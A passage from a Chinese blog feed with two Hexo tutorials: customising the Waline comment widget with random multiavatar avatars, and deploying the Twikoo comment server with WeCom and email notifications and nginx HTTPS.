class="string">&#x27;Notification mail send success: %s&#x27;</span>, response);</span><br><span class="line">      &#125; <span class="keyword">catch</span> (e) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Mail send fail:&#x27;</span>, e);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><h3 id="重启Waline使其起作用">重启Waline使其起作用</h3><h3 id="展示效果">展示效果</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/694039dcefff4e079284591adacdb33d.png" alt="image-20220816115133767"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/af5f9644cb905564eaab70f0b717d36d.png" alt="image-20220816115200467"></p><h2 id="修改评论中的头像为随机头像">修改评论中的头像为随机头像</h2><h3 id="直接修改cdn文件（需要自己部署的直接拷贝内容即可）">直接修改cdn文件（需要自己部署的直接拷贝内容即可）</h3><a class="tag-Link" target="_blank" href="https://cdn.allbs.cn/pluginsSrc/@waline/client/dist/waline.css">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="background-image: url(https://api.iowen.cn/favicon/cdn.allbs.cn/pluginsSrc/@waline/client/dist/waline.css.png);"></div>        <div class="tag-link-right">            <div class="tag-link-title">Waline随机头像css</div>            <div class="tag-link-sitename">css</div>        </div>        <i class="fa-solid fa-angle-right"></i>    </div>    </a><a class="tag-Link" target="_blank" href="https://cdn.allbs.cn/pluginsSrc/@waline/client/dist/waline.js">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="background-image: url(https://api.iowen.cn/favicon/cdn.allbs.cn/pluginsSrc/@waline/client/dist/waline.js.png);"></div>        <div class="tag-link-right">            <div class="tag-link-title">Waline随机头像js</div>            <div class="tag-link-sitename">js</div>        </div>        <i class="fa-solid fa-angle-right"></i>    </div>    </a><h3 id="实现方法">实现方法</h3><h4 id="添加依赖">添加依赖</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/c685dff41abb764c51c35e58aec17519.png" alt="image-20220816115527994"></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install @multiavatar/multiavatar -S</span><br></pre></td></tr></table></figure><h4 id="更改CommentCard-vue">更改CommentCard.vue</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br></pre></td><td class="code"><pre><span class="line">&lt;template&gt;</span><br><span class="line">  &lt;div :id=&quot;comment.objectId&quot; class=&quot;wl-item&quot;&gt;</span><br><span class="line">    &lt;div class=&quot;wl-user&quot; aria-hidden=&quot;true&quot;&gt;</span><br><span class="line">      &lt;img</span><br><span class="line">        v-if=&quot;</span><br><span class="line">          comment.avatar &amp;&amp;</span><br><span class="line">          !comment.avatar.startsWith(&#x27;https://seccdn.libravatar.org/&#x27;)</span><br><span class="line">        &quot;</span><br><span class="line">        :src=&quot;comment.avatar&quot;</span><br><span class="line">        alt=&quot;&quot;</span><br><span class="line">      /&gt;</span><br><span class="line">      &lt;div class=&quot;avatar&quot; v-else&gt;</span><br><span class="line">        &lt;div v-html=&quot;avatar&quot; class=&quot;avatar-block&quot;&gt;&lt;/div&gt;</span><br><span class="line">      &lt;/div&gt;</span><br><span class="line">      &lt;VerifiedIcon v-if=&quot;comment.type&quot; /&gt;</span><br><span class="line">    &lt;/div&gt;</span><br><span class="line"></span><br><span class="line">    &lt;div class=&quot;wl-card&quot;&gt;</span><br><span class="line">      &lt;div class=&quot;wl-head&quot;&gt;</span><br><span class="line">        &lt;a</span><br><span class="line">          v-if=&quot;link&quot;</span><br><span class="line">          class=&quot;wl-nick&quot;</span><br><span class="line">          :href=&quot;link&quot;</span><br><span class="line">          target=&quot;_blank&quot;</span><br><span class="line">          rel=&quot;nofollow noreferrer&quot;</span><br><span class="line">          &gt;&#123;&#123; comment.nick &#125;&#125;&lt;/a</span><br><span class="line">        &gt;</span><br><span class="line">        &lt;span v-else class=&quot;wl-nick&quot;&gt;&#123;&#123; comment.nick &#125;&#125;&lt;/span&gt;</span><br><span class="line"></span><br><span class="line">        &lt;span</span><br><span class="line">          v-if=&quot;comment.type === &#x27;administrator&#x27;&quot;</span><br><span class="line">          class=&quot;wl-badge&quot;</span><br><span class="line">          v-text=&quot;locale.admin&quot;</span><br><span class="line">        /&gt;</span><br><span class="line">        &lt;span v-if=&quot;comment.label&quot; class=&quot;wl-badge&quot; v-text=&quot;comment.label&quot; /&gt;</span><br><span class="line">        &lt;span v-if=&quot;comment.sticky&quot; class=&quot;wl-badge&quot; v-text=&quot;locale.sticky&quot; /&gt;</span><br><span class="line">        &lt;span</span><br><span class="line">          v-if=&quot;comment.level !== undefined &amp;&amp; comment.level &gt;= 0&quot;</span><br><span class="line">          :class=&quot;`wl-badge level$&#123;comment.level&#125;`&quot;</span><br><span class="line">          v-text=&quot;locale[`level$&#123;comment.level&#125;`] || `Level $&#123;comment.level&#125;`&quot;</span><br><span class="line">        /&gt;</span><br><span class="line">        &lt;span class=&quot;wl-time&quot; v-text=&quot;time&quot; /&gt;</span><br><span class="line"></span><br><span class="line">        &lt;div class=&quot;wl-comment-actions&quot;&gt;</span><br><span class="line">          &lt;button</span><br><span class="line">            v-if=&quot;isAdmin || isOwner&quot;</span><br><span class="line">            class=&quot;wl-delete&quot;</span><br><span class="line">            @click=&quot;$emit(&#x27;delete&#x27;, comment)&quot;</span><br><span class="line">          &gt;</span><br><span class="line">            &lt;DeleteIcon /&gt;</span><br><span class="line">          &lt;/button&gt;</span><br><span class="line"></span><br><span class="line">          &lt;button</span><br><span class="line">            class=&quot;wl-like&quot;</span><br><span class="line">            :title=&quot;like ? locale.cancelLike : locale.like&quot;</span><br><span class="line">            @click=&quot;$emit(&#x27;like&#x27;, comment)&quot;</span><br><span class="line">          &gt;</span><br><span class="line">            &lt;LikeIcon :active=&quot;like&quot; /&gt;</span><br><span class="line">            &lt;span v-if=&quot;&#x27;like&#x27; in comment&quot; v-text=&quot;comment.like&quot; /&gt;</span><br><span class="line">          &lt;/button&gt;</span><br><span class="line"></span><br><span class="line">          &lt;button</span><br><span class="line">            class=&quot;wl-reply&quot;</span><br><span class="line">            :class=&quot;&#123; active: isReplyingCurrent &#125;&quot;</span><br><span class="line">            :title=&quot;isReplyingCurrent ? locale.cancelReply : locale.reply&quot;</span><br><span class="line">            @click=&quot;$emit(&#x27;reply&#x27;, isReplyingCurrent ? null : comment)&quot;</span><br><span class="line">          &gt;</span><br><span class="line">            &lt;ReplyIcon /&gt;</span><br><span class="line">          &lt;/button&gt;</span><br><span class="line">        &lt;/div&gt;</span><br><span class="line">      &lt;/div&gt;</span><br><span class="line">      &lt;div class=&quot;wl-meta&quot; aria-hidden=&quot;true&quot;&gt;</span><br><span class="line">        &lt;span v-if=&quot;comment.addr&quot; v-text=&quot;comment.addr&quot; /&gt;</span><br><span class="line">        &lt;span v-if=&quot;comment.browser&quot; v-text=&quot;comment.browser&quot; /&gt;</span><br><span class="line">        &lt;span v-if=&quot;comment.os&quot; v-text=&quot;comment.os&quot; /&gt;</span><br><span class="line">      &lt;/div&gt;</span><br><span class="line">      &lt;!-- eslint-disable-next-line vue/no-v-html --&gt;</span><br><span class="line">      &lt;div class=&quot;wl-content&quot; v-html=&quot;comment.comment&quot; /&gt;</span><br><span class="line"></span><br><span class="line">      &lt;div v-if=&quot;isAdmin&quot; class=&quot;wl-admin-actions&quot;&gt;</span><br><span class="line">        &lt;span class=&quot;wl-comment-status&quot;&gt;</span><br><span class="line">          &lt;button</span><br><span class="line">            v-for=&quot;status in commentStatus&quot;</span><br><span class="line">            :key=&quot;status&quot;</span><br><span class="line">            :class=&quot;`wl-btn wl-$&#123;status&#125;`&quot;</span><br><span class="line">            :disabled=&quot;comment.status === status&quot;</span><br><span class="line">            @click=&quot;$emit(&#x27;status&#x27;, &#123; status, comment &#125;)&quot;</span><br><span class="line">            v-text=&quot;locale[status]&quot;</span><br><span class="line">          /&gt;</span><br><span class="line">        &lt;/span&gt;</span><br><span class="line"></span><br><span class="line">        &lt;button</span><br><span class="line">          v-if=&quot;isAdmin &amp;&amp; !comment.rid&quot;</span><br><span class="line">          class=&quot;wl-btn wl-sticky&quot;</span><br><span class="line">          @click=&quot;$emit(&#x27;sticky&#x27;, comment)&quot;</span><br><span class="line">        &gt;</span><br><span class="line">          &#123;&#123; comment.sticky ? locale.unsticky : locale.sticky &#125;&#125;</span><br><span class="line">        &lt;/button&gt;</span><br><span class="line">      &lt;/div&gt;</span><br><span class="line"></span><br><span class="line">      &lt;div v-if=&quot;isReplyingCurrent&quot; class=&quot;wl-reply-wrapper&quot;&gt;</span><br><span class="line">        &lt;CommentBox</span><br><span class="line">          :reply-id=&quot;comment.objectId&quot;</span><br><span class="line">          :reply-user=&quot;comment.nick&quot;</span><br><span class="line">          :root-id=&quot;rootId&quot;</span><br><span class="line">          @submit=&quot;$emit(&#x27;submit&#x27;, $event)&quot;</span><br><span class="line">          @cancel-reply=&quot;$emit(&#x27;reply&#x27;, null)&quot;</span><br><span class="line">        /&gt;</span><br><span class="line">      &lt;/div&gt;</span><br><span class="line">      &lt;div v-if=&quot;comment.children&quot; class=&quot;wl-quote&quot;&gt;</span><br><span class="line">        &lt;CommentCard</span><br><span class="line">          v-for=&quot;child in comment.children&quot;</span><br><span class="line">          :key=&quot;child.objectId&quot;</span><br><span class="line">          :comment=&quot;child&quot;</span><br><span class="line">          :reply=&quot;reply&quot;</span><br><span class="line">          :root-id=&quot;rootId&quot;</span><br><span class="line">          @reply=&quot;$emit(&#x27;reply&#x27;, $event)&quot;</span><br><span class="line">          @submit=&quot;$emit(&#x27;submit&#x27;, $event)&quot;</span><br><span class="line">          @like=&quot;$emit(&#x27;like&#x27;, $event)&quot;</span><br><span class="line">          @delete=&quot;$emit(&#x27;delete&#x27;, $event)&quot;</span><br><span class="line">          @status=&quot;$emit(&#x27;status&#x27;, $event)&quot;</span><br><span class="line">          @sticky=&quot;$emit(&#x27;sticky&#x27;, $event)&quot;</span><br><span class="line">        /&gt;</span><br><span class="line">      &lt;/div&gt;</span><br><span class="line">    &lt;/div&gt;</span><br><span class="line">  &lt;/div&gt;</span><br><span class="line">&lt;/template&gt;</span><br><span class="line"></span><br><span class="line">&lt;script lang=&quot;ts&quot;&gt;</span><br><span class="line">import &#123; computed, defineComponent, inject &#125; from &#x27;vue&#x27;;</span><br><span class="line">import CommentBox from &#x27;./CommentBox.vue&#x27;;</span><br><span class="line">import &#123; DeleteIcon, LikeIcon, ReplyIcon, VerifiedIcon &#125; from &#x27;./Icons&#x27;;</span><br><span class="line">import &#123; isLinkHttp &#125; from &#x27;../utils&#x27;;</span><br><span class="line">import &#123; useTimeAgo, useLikeStorage, useUserInfo &#125; from &#x27;../composables&#x27;;</span><br><span class="line"></span><br><span class="line">import type &#123; ComputedRef, PropType &#125; from &#x27;vue&#x27;;</span><br><span class="line">import type &#123; WalineConfig &#125; from &#x27;../utils&#x27;;</span><br><span class="line">import type &#123; WalineComment, WalineCommentStatus &#125; from &#x27;../typings&#x27;;</span><br><span class="line">import multiavatar from &#x27;@multiavatar/multiavatar&#x27;;</span><br><span class="line"></span><br><span class="line">const commentStatus: WalineCommentStatus[] = [&#x27;approved&#x27;, &#x27;waiting&#x27;, &#x27;spam&#x27;];</span><br><span class="line"></span><br><span class="line">export default defineComponent(&#123;</span><br><span class="line">  components: &#123;</span><br><span class="line">    CommentBox,</span><br><span class="line">    DeleteIcon,</span><br><span class="line">    LikeIcon,</span><br><span class="line">    ReplyIcon,</span><br><span class="line">    VerifiedIcon,</span><br><span class="line">  &#125;,</span><br><span class="line"></span><br><span class="line">  props: &#123;</span><br><span class="line">    comment: &#123;</span><br><span class="line">      type: Object as PropType&lt;WalineComment&gt;,</span><br><span class="line">      required: true,</span><br><span class="line">    &#125;,</span><br><span class="line">    rootId: &#123;</span><br><span class="line">      type: String,</span><br><span class="line">      required: true,</span><br><span class="line">    &#125;,</span><br><span class="line">    reply: &#123;</span><br><span class="line">      type: Object as PropType&lt;WalineComment | null&gt;,</span><br><span class="line">      default: null,</span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;,</span><br><span class="line"></span><br><span class="line">  emits: [&#x27;submit&#x27;, &#x27;reply&#x27;, &#x27;like&#x27;, &#x27;delete&#x27;, &#x27;status&#x27;, &#x27;sticky&#x27;],</span><br><span class="line"></span><br><span class="line">  setup(props) &#123;</span><br><span class="line">    const config = inject&lt;ComputedRef&lt;WalineConfig&gt;&gt;(</span><br><span class="line">      &#x27;config&#x27;</span><br><span class="line">    ) as ComputedRef&lt;WalineConfig&gt;;</span><br><span class="line">    const likes = useLikeStorage();</span><br><span class="line">    const userInfo = useUserInfo();</span><br><span class="line"></span><br><span class="line">    const locale = computed(() =&gt; config.value.locale);</span><br><span class="line"></span><br><span class="line">    const link = computed(() =&gt; &#123;</span><br><span class="line">      const &#123; link &#125; = props.comment;</span><br><span class="line"></span><br><span class="line">      return link ? (isLinkHttp(link) ? link : `https://$&#123;link&#125;`) : &#x27;&#x27;;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    const like = computed(() =&gt; likes.value.includes(props.comment.objectId));</span><br><span class="line"></span><br><span class="line">    const time = useTimeAgo(props.comment.insertedAt, locale.value);</span><br><span class="line"></span><br><span class="line">    const isAdmin = computed(() =&gt; userInfo.value.type === &#x27;administrator&#x27;);</span><br><span class="line"></span><br><span class="line">    const isOwner = computed(</span><br><span class="line">      () =&gt;</span><br><span class="line">        props.comment.user_id &amp;&amp;</span><br><span class="line">        userInfo.value.objectId === props.comment.user_id</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    const isReplyingCurrent = computed(</span><br><span class="line">      () =&gt; props.comment.objectId === props.reply?.objectId</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    // 根据用户输入邮箱账号生成唯一头像，如果没有输入邮箱则随机生成，所以下面排除空值生成的md5</span><br><span class="line">    const avatar = multiavatar(</span><br><span class="line">      !props.comment.avatar.startsWith(</span><br><span class="line">        &#x27;https://seccdn.libravatar.org/avatar/d41d8cd98f00b204e9800998ecf8427e&#x27;</span><br><span class="line">      )</span><br><span class="line">        ? props.comment.avatar</span><br><span class="line">        : (((1 + Math.random()) * 0x100000000) | 0).toString(16).substring(1)</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    return &#123;</span><br><span class="line">      config,</span><br><span class="line">      locale,</span><br><span class="line"></span><br><span class="line">      isReplyingCurrent,</span><br><span class="line">      link,</span><br><span class="line">      like,</span><br><span class="line">      time,</span><br><span class="line"></span><br><span class="line">      isAdmin,</span><br><span class="line">      isOwner,</span><br><span class="line"></span><br><span class="line">      commentStatus,</span><br><span class="line">      avatar,</span><br><span class="line">    &#125;;</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;);</span><br><span class="line">&lt;/script&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="添加css样式">添加css样式</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/110313d90c8677215dbe781849d6743f.png" alt="image-20220816115736230"></p><figure class="highlight scss"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.avatar</span> &#123;</span><br><span class="line">    <span class="selector-tag">text</span>-align: center;</span><br><span class="line">    <span class="attribute">max-width</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">max-height</span>: <span class="number">400px</span>;</span><br><span class="line">    <span class="attribute">border</span>: none;</span><br><span class="line"></span><br><span class="line">    <span class="selector-class">.avatar-block</span> &#123;</span><br><span class="line">        <span class="attribute">height</span>: <span class="built_in">var</span>(--avatar-size);</span><br><span class="line">        <span class="attribute">width</span>: <span class="built_in">var</span>(--avatar-size);</span><br><span class="line">        <span class="attribute">border-radius</span>: <span class="built_in">var</span>(--waline-avatar-radius);</span><br><span class="line">        <span class="attribute">box-shadow</span>: <span class="built_in">var</span>(--waline-box-shadow);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="打包发布（得到的dist中的Waline-css及Waline-js即上方的cdn文件内容）">打包发布（得到的dist中的Waline.css及Waline.js即上方的cdn文件内容）</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pnpm run build</span><br></pre></td></tr></table></figure><h4 id="效果">效果</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/c932302c0cbc1de726b89500dbf45c80.png" alt="image-20220816131431085"></p>]]></content>
    
    
    <summary type="html">本地化部署Waline、配置邮件提醒、微信提醒功能，waline修改匿名用户头像为随机头像</summary>
    
    
    
    <category term="hexo" scheme="https://blog.allbs.cn/categories/hexo/"/>
    
    
    <category term="hexo" scheme="https://blog.allbs.cn/tags/hexo/"/>
    
    <category term="butterfly" scheme="https://blog.allbs.cn/tags/butterfly/"/>
    
    <category term="Waline" scheme="https://blog.allbs.cn/tags/Waline/"/>
    
  </entry>
  
  <entry>
    <title>博客评论系统Twikoo本地化部署</title>
    <link href="https://blog.allbs.cn/posts/36172/"/>
    <id>https://blog.allbs.cn/posts/36172/</id>
    <published>2022-08-12T06:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="安装">安装</h2><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm i -g tkserver</span><br></pre></td></tr></table></figure><h2 id="配置环境">配置环境</h2><p>执行一下代码，根据自己情况自行修改<code>TWIKOO_DATA</code>,<code>TWIKOO_PORT</code>,<code>TWIKOO_THROTTLE</code>后面的内容。PS:<code>TWIKOO_DATA</code>是干嘛的我也不知道，实际也没见他生效</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot; &quot;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;# Made for tikoo env by chenqi on <span class="subst">$(date +%F)</span>&quot;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export TWIKOO_DATA=/home/twikoo&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export TWIKOO_PORT=7654&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export TWIKOO_THROTTLE=20000&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">tail</span> -4 /etc/profile</span><br><span class="line"><span class="built_in">source</span> /etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="variable">$PATH</span></span><br></pre></td></tr></table></figure><h2 id="启动服务">启动服务</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nohup tkserver &gt;&gt; tkserver.log 2&gt;&amp;1 &amp;</span><br></pre></td></tr></table></figure><h2 id="可能存在的问题">可能存在的问题</h2><p>如果无法启动，报找不到db.json,那么手动去<code>/root</code>中新建/data/db.json如下图。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/6d7ed62419ef261b281e92d1b78c1af6.png" alt="image-20220812144813503"></p><p>如果创建后报Collection xxxxxxxx之类的错误，那么手动去db.json中添加代码后重新启动即可</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Collection<span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">]</span></span><br></pre></td></tr></table></figure><h2 id="配置Twikoo环境">配置Twikoo环境</h2><p>首次需要配置密码</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/6829527c1d9481c02894f71beef06725.png" alt="image-20220812145031615"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/d54ed481b4065e8dc7a610160e75c92b.png" alt="image-20220812145133454"></p><h2 id="配置企业微信接收通知">配置企业微信接收通知</h2><h3 id="注册企业微信-网页即可">注册企业微信(网页即可)</h3><h3 id="创建用于接收消息通知的应用">创建用于接收消息通知的应用</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/029769e553695ca1055c3c662b6aa43f.png" alt="image-20220812145317022"></p><h3 id="配置服务器白名单">配置服务器白名单</h3><p>点开应用后拉到最底部，配置部署Twikoo的服务器ip</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/fd23ce5503c90eb88b35be1ae6cc5931.png" alt="image-20220812145414707"></p><p>配置管理工具-&gt;通讯录同步中的白名单ip</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/61dcc11bab263588045e4f49559b916f.png" alt="image-20220812145533157"></p><blockquote><p>期间需要配置企业微信桌面程序配合，需要下载使用</p></blockquote><h3 id="获取企业ID">获取企业ID</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/ad9cca522b369617d0e3666ffafbbf5d.png" alt="image-20220812145759104"></p><h3 id="获取用于接收消息的应用的AgentId和Secret-Secert需要使用企业微信桌面版授权查看">获取用于接收消息的应用的AgentId和Secret,Secert需要使用企业微信桌面版授权查看</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/5f717dd53371ba75382ee51f57990a77.png" alt="image-20220812145904734"></p><h3 id="使用微信关注该应用（扫下图的码）">使用微信关注该应用（扫下图的码）</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/122f7fdebd2135570c6df96d4c3b61bb.png" alt="image-20220812150040327"></p><h2 id="配置Twikoo即时消息">配置Twikoo即时消息</h2><p><code>PUSHOO_TOKEN</code>内容为: <mark class="hl-label red">企业ID</mark><mark class="hl-label blue">#</mark><mark class="hl-label red">上方创建的应用Secret</mark><mark class="hl-label blue">#</mark><mark class="hl-label red">上方创建应用的AgentId</mark></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/13f1fcb789408116b05e7166351f240e.png" alt="image-20220812150144789"></p><h2 id="效果">效果</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/69dea5b7d1047de5b43132f6d4712aa0.png" alt="image-20220812150421711"></p><h2 id="配置邮箱接收通知">配置邮箱接收通知</h2><h3 id="以163邮箱为例，发送短信开启SMTP，记录下生成的密码">以163邮箱为例，发送短信开启SMTP，记录下生成的密码</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/4bee9c974b99563c6c5521184b36a46c.png" alt="image-20220812150545987"></p><h3 id="Twikoo配置邮箱推送">Twikoo配置邮箱推送</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/c574f08ed56e4e328a5bc70d6a77e0ef.png" alt="image-20220812150805580"></p><h3 id="效果-2">效果</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/aeceece2d562fc8a6037ae75e89ab44f.png" alt="image-20220812150846572"></p><h2 id="Twikoo-配置https">Twikoo 配置https</h2><h3 id="云服务器安全组开启上方TWIKOO-PORT的端口">云服务器安全组开启上方<code>TWIKOO_PORT</code>的端口</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/c52eb2e93ba38bacfafb5e64f56c581b.png" alt="image-20220812151045769"></p><h3 id="DNS解析">DNS解析</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/08/5cbbe0dd1affd3c30ff0b8089e90d539.png" alt="image-20220812151333960"></p><h3 id="nginx配置，http节点下配置">nginx配置，http节点下配置</h3><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span 